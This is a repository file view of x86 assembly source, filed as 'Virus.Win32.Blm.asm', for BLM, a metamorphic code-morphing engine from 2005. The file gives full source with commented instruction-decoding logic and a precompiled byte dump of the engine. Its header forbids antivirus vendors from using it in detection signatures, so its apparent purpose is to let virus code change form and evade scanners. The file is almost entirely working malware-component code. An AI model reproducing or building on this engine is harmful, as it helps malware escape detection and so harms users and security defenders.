-
Notifications
You must be signed in to change notification settings - Fork 34
Expand file tree
/
Copy pathVirus.Win32.Blm.asm
More file actions
325 lines (308 loc) · 9.43 KB
/
Virus.Win32.Blm.asm
File metadata and controls
325 lines (308 loc) · 9.43 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
; BLM ~ BlueOwls Light Meta
; *************************
;
; Details
;
; Name: BLM (BlueOwls Light Meta)
; Date: 16 May 2005
; Size: 412 bytes
; Morphing power: light
; Morphing type: non-expansion
; Compatibility: most common x86 and pentium specific (rdtsc/movzx/..)
; Platforms: all 32bit (and maybe 16bit) x86 instruction set OSes
; Used compiler: FASM 1.60
; Bugs: hopefully none
;
; Morphing
;
; The following instructions can be morphed:
;
; 1. OP reg, reg -> changing the D bit (2)
; 2. OP (reg,) [(imm32+)reg] -> changing the unused SCALE bits (4)
; 3. OP (reg,) [(imm32+)reg+reg*1] -> swapping the regs (2)
;
; Any other instruction's size is calculated and skipped.
;
; Usage notes
;
; BLM can be usefull for any application which would like to do code
; morphing on its own, or other code. There are however, some things
; to keep note on:
;
; - Make sure you don't mix data with code, for example:
; > CALL _LABEL
; > DB "some string",0
; > _LABEL:
; Would make the meta miscorrectly assume "some string",0 to be
; code. So make sure that in the codearea you specify is no data.
; - On input, esi is allowed to equal edi, but it is not recommended
; if it will cause the meta to morph itself on runtime.
; - This code does not need any data, and only needs to be able to
; execute. It is completely permutatable.
;
; Agreement
;
; This sourcecode is meant to be used in freeware and shareware
; programs, and therefor it is strictly prohibited to add any of this
; code in binary or source format in scan strings or other detection
; methods. If done, it will impact on the sellability of the product,
; and can result in high fees and/or trials before court.
; YOU HAVE BEEN WARNED
use32
; ÄÄÄÄÄÄÄÄÄÄÄÄÄ META SOURCE ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; in: esi(ecx) = start of code to morph
; edi(ecx) = start of buffer to put morphed code in
; ecx = size of code to morph (and buffer)
; out: esi = esi + ecx
; edi = edi + ecx
; other registers are destroyed (except esp)
BLM: cld
lea ebx, [esi+ecx] ; ebx = ptr to end of code to morph
nextcode: push ebx
xor ecx, ecx
push 4
pop ebx
call .innext
pop ebx
rol edx, 7 ; simple RAND function
neg dx
cmp ebx, esi
ja nextcode
ret
.next: movsb
.innext: mov al, [esi]
and al, 11100111b
cmp al, 00100110b ; es/cs/ss/ds segment?
jz .next ; check if more
mov al, [esi]
and al, 11111110b
cmp al, 01100100b ; fs/gs segment?
jz .next ; check if more
cmp al, 11110010b ; repz/repnz?
jz .next ; check if more
cmp al, 01100110b ; WORD?
jnz opcode
mov bl, 2 ; set WORD size
jmp .next
; -----------------------------------------------------------------------
opcode: mov al, [esi]
cmp al, 0fh
jnz branch_start
movsb
or al, [esi] ; ????1111
cmp al, 10001111b
jz .6byte ; -> jxx label32
cmp al, 10111111b
jz .3byte ; -> movzx/bt?
jmp .done
.6byte: movsb
movsb
movsb
.3byte: movsb
.done: movsb
ret
branch_start: shl al, 1
jc branch_1xxxxxxx
branch_0xxxxxxx:shl al, 1
jc branch_01xxxxxx
branch_00xxxxxx:shl al, 4
jnc op_rmrm_d
op_eax: mov al, [esi]
shr al, 1
jc .pr32
movsb
movsb
ret ; -> op al, imm8
.pr32: add ecx, ebx ; -> op eax, imm32
rep movsb
movsb
ret
branch_01xxxxxx:cmp al, 11000000b
jb .ncjump
movsb ; -> jxx label8
.ncjump: cmp al, 068h
jz do_5byte ; -> push imm32
cmp al, 06ah
jnz .done ; -> popad/pushad/pop/push/dec/inc (reg)
stosb ; -> push imm8
.done: movsb
ret
op_rmrm_d: mov al, [esi+1] ; -> add/or/adc/sbb/and/sub/xor/cmp r/m,r/m
rcr edx, 1 ; rand true/false
jc .nomorph
cmp al, 11000000b
.nomorph: jb op_rm ; (jc == jb so little optimization)
lodsb
xor al, 00000010b
stosb
lodsb
and eax, 00111111b ; 00000000 00regreg
shl eax, 5 ; 00000reg reg00000
shr al, 2 ; 00000reg 00reg000
or al, ah ; 00000xxx 00regreg
or al, 11000000b ; 11regreg
stosb
ret
branch_1xxxxxxx:shl al, 1
jc branch_11xxxxxx
branch_10xxxxxx:shl al, 1
jc branch_101xxxxx
branch_100xxxxx:shl al, 1
jc branch_01xxxxxx.ncjump ; -> xchg eax,reg/cwde/cdq/pushf/popf/sahf/lahf
branch_1000xxxx:cmp al, 01000000b
jae op_rm ; -> test/xchg/mov/lea/pop r/m(,r/m)
shl al, 3
jc op_rmimm8 ; -> add/or/adc/sbb/and/sub/xor/cmp r/m,imm8
jmp op_rmimm32 ; -> add/or/adc/sbb/and/sub/xor/cmp r/m,imm32
branch_101xxxxx:shl al, 1
jc branch_1011xxxx
branch_1010xxxx:and al, 11100000b
cmp al, 00100000b
jb op_eax ; -> test eax, imm
cmp al, 10000000b
jz do_5byte ; -> mov mem32, eax
movsb
ret ; -> movs/stos/lods/scas
branch_1011xxxx:shl al, 1
jnc branch_1100001x.2byte ; -> mov reg, imm8
jmp op_eax.pr32 ; -> mov reg, imm32
do_5byte: movsd
movsb
ret
branch_11xxxxxx:shl al, 1
jc branch_111xxxxx
branch_110xxxxx:shl al, 1
jc branch_1101xxxx
branch_1100xxxx:cmp al, 11010000b
jz branch_1100001x.2byte ; -> int imm8
shl al, 1
jc branch_1100001x.done ; -> leave/int 3
branch_11000xxx:shl al, 1
jc op_rm_w ; -> mov r/m, imm
branch_110000xx:shl al, 1
jc branch_1100001x
inc ecx ; -> rol/ror/rcl/rcr/shl/shr/sal/sar reg, 1
jmp op_rm
branch_1100001x:shl al, 1
jc .done
.3byte: movsb
.2byte: movsb ; -> ret imm16
.done: movsb
ret ; -> ret
branch_1101xxxx:shl al, 2
jc branch_1100001x.done ; -> xlatb
branch_1101x0xx:jmp op_rm ; -> rol/ror/rcl/rcr/shl/shr/sal/sar reg, 1
branch_111xxxxx:shl al, 1
jc branch_1111xxxx
branch_1110xxxx:shl al, 1
jnc branch_11101010 ; -> loop label
branch_11101xxx:cmp al, 00100000b
jz branch_111010x0.done ; -> call label
branch_111010x0:shl al, 2
jc branch_11101010
.done: movsd ; -> jmp label32
movsb
ret
branch_11101010:movsb
movsb
ret ; -> jmp label8
branch_1111xxxx:shl al, 1
jc branch_11111xxx
branch_11110xxx:shl al, 2
jnc branch_11111xxx.done ; -> cmc
branch_11111x1x:mov al, [esi+1] ; al = modr/m
and al, 00111000b
jnz op_rm ; -> not/mul/div/idiv
jmp op_rm_w ; -> test
branch_11111xxx:shl al, 1
jc .done ; -> clc/stc/cli
shr al, 1
jc op_rm ; -> inc/dec/call/jmp/push
.done: movsb
ret ; -> cld/std
; -----------------------------------------------------------------------
op_rm_w: mov al, [esi]
shr al, 1
jnc op_rmimm8
op_rmimm32: add ecx, ebx ; imm length will be 4 or 2
dec ecx
op_rmimm8: inc ecx ; imm length = 1 byte
op_rm: movsb
lodsb
stosb
cmp al, 11000000b ; op reg, reg
jae .done
mov ah, al
and al, 111b
shr ah, 6
jz .regaddr
cmp ah, 00000001b
jz .ddone
add ecx, 3 ; op reg, [reg+dword]
.ddone: inc ecx ; op reg, [reg+byte]
.cmpsib: cmp al, 00000100b
jnz .done
xor ebx, ebx
mov eax, ebx
lodsb ; 00000000 iiregreg
shl eax, 2 ; 000000ii regreg00
xchg bl, ah ; 00000000 regreg00
shl eax, 3 ; 00000reg reg00000
shr al, 5 ; 00000reg 00000reg
cmp ah, 4
jz .randindex
cmp al, 4
jz .nosib
or bl, bl ; index = 1?
jnz .nosib
rcr edx, 1
jnc .nosib ; randomly abort switch
xchg al, ah
jmp .nosib
.randindex: mov bl, dl ; index is random
and bl, 00000011b
.nosib: shl al, 5 ; 00000reg reg00000
shr eax, 3 ; 00000000 regreg00
mov ah, bl ; 000000ii regreg00
shr eax, 2 ; 00000000 iiregreg
stosb
.done: rep movsb
ret
.regaddr: cmp al, 00000101b ; op reg, [dword]
jnz .cmpsib
movsd
jmp .done
; ÄÄÄÄÄÄÄÄÄÄÄÄÄ META BINARY ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; in: esi(ecx) = start of code to morph
; edi(ecx) = start of buffer to put morphed code in
; ecx = size of code to morph (and buffer)
; out: esi = esi + ecx
; edi = edi + ecx
; other registers are destroyed (except esp)
BLM: db 252,141,28,14,83,49,201,106,4,91,232,13,0,0,0,91
db 193,194,7,102,247,218,57,243,119,234,195,164,138,6,36,231
db 60,38,116,247,138,6,36,254,60,100,116,239,60,242,116,235
db 60,102,117,4,179,2,235,227,138,6,60,15,117,19,164,10
db 6,60,143,116,6,60,191,116,5,235,4,164,164,164,164,164
db 195,208,224,114,75,208,224,114,20,192,224,4,115,31,138,6
db 208,232,114,3,164,164,195,1,217,243,164,164,195,60,192,114
db 1,164,60,104,116,95,60,106,117,1,170,164,195,138,70,1
db 209,218,114,2,60,192,15,130,179,0,0,0,172,52,2,170
db 172,131,224,63,193,224,5,192,232,2,8,224,12,192,170,195
db 208,224,114,52,208,224,114,23,208,224,114,198,60,64,15,131
db 139,0,0,0,192,224,3,15,130,129,0,0,0,235,124,208
db 224,114,12,36,224,60,32,114,149,60,128,116,8,164,195,208
db 224,115,37,235,146,165,164,195,208,224,114,38,208,224,114,27
db 60,208,116,20,208,224,114,17,208,224,114,73,208,224,114,3
db 65,235,76,208,224,114,2,164,164,164,195,192,224,2,114,249
db 235,61,208,224,114,19,208,224,115,12,60,32,116,5,192,224
db 2,114,3,165,164,195,164,164,195,208,224,114,14,192,224,2
db 115,17,138,70,1,36,56,117,22,235,10,208,224,114,4,208
db 232,114,12,164,195,138,6,208,232,115,3,1,217,73,65,164
db 172,170,60,192,115,76,136,196,36,7,192,236,6,116,70,128
db 252,1,116,3,131,193,3,65,60,4,117,54,49,219,137,216
db 172,193,224,2,134,220,193,224,3,192,232,5,128,252,4,116
db 16,60,4,116,17,8,219,117,13,209,218,115,9,134,196,235
db 5,136,211,128,227,3,192,224,5,193,232,3,136,220,193,232
db 2,170,243,164,195,60,5,117,191,165,235,246
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ